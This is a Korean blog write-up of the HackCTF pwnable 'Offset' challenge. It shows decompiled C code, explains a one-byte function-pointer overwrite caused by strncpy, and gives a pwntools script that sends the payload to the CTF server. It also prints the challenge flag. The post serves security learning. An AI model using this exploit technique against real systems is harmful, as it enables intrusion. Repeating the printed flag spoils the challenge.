Wargame & CTF/HackCTF

[HackCTF / pwnable] Offset

cg10036 2019. 10. 5. 15:06

32비트 오버플로우 문제이다.


1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1h] [ebp-27h]
  int *v5; // [esp+20h] [ebp-8h]
 
  v5 = &argc;
  setvbuf(stdout, (char *)&dword_0 + 200);
  puts("Which function would you like to call?");
  gets(&s);
  select_func(&s);
  return 0;
}
cs


1
2
3
4
5
6
7
8
9
10
11
int __cdecl select_func(char *src)
{
  char dest; // [esp+Eh] [ebp-2Ah]
  int (*v3)(void); // [esp+2Ch] [ebp-Ch]
 
  v3 = (int (*)(void))two;
  strncpy(&dest, src, 0x1Fu);
  if ( !strcmp(&dest, "one") )
    v3 = (int (*)(void))one;
  return v3();
}
cs


1
2
3
4
5
6
7
8
9
10
11
int print_flag()
{
  char i; // al
  FILE *fp; // [esp+Ch] [ebp-Ch]
 
  puts("This function is still under development.");
  fp = fopen("flag.txt""r");
  for ( i = _IO_getc(fp); i != -1; i = _IO_getc(fp) )
    putchar(i);
  return putchar(10);
}
cs


print_flag를 호출하면 된다. PIE가 적용되어 있어서 ret을 덮어쓰는 방식으로는 불가능하다.


PIE는 Position Independent Executable의 약자로 모든 영역을 랜덤하게 매핑한다.

하지만 base부분만 변하기때문에 base부분을 알수있으면 함수를 호출할수있다.


dest와 v3의 거리는 0x2a-0xc, 0x1e이다. 하지만 strncpy로 0x1f를 복사하므로 v3의 맨 끝 1바이트를 오버플로우 할수있다.

v3에는 two함수의 주소값이 들어있으므로 맨 끝바이트만 수정하면 print_flag를 호출할수있을것이다.


ex.py


1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
= ELF("./offset")
#p = process("./offset")
= remote("ctf.j0n9hyun.xyz"3007)
 
payload = ""
payload += "A"*0x1e
payload += p32(e.symbols["print_flag"])
 
p.recvuntil("?")
p.sendline(payload)
p.interactive()
cs


Offset : HackCTF{76155655017129668567067265451379677609132507783606}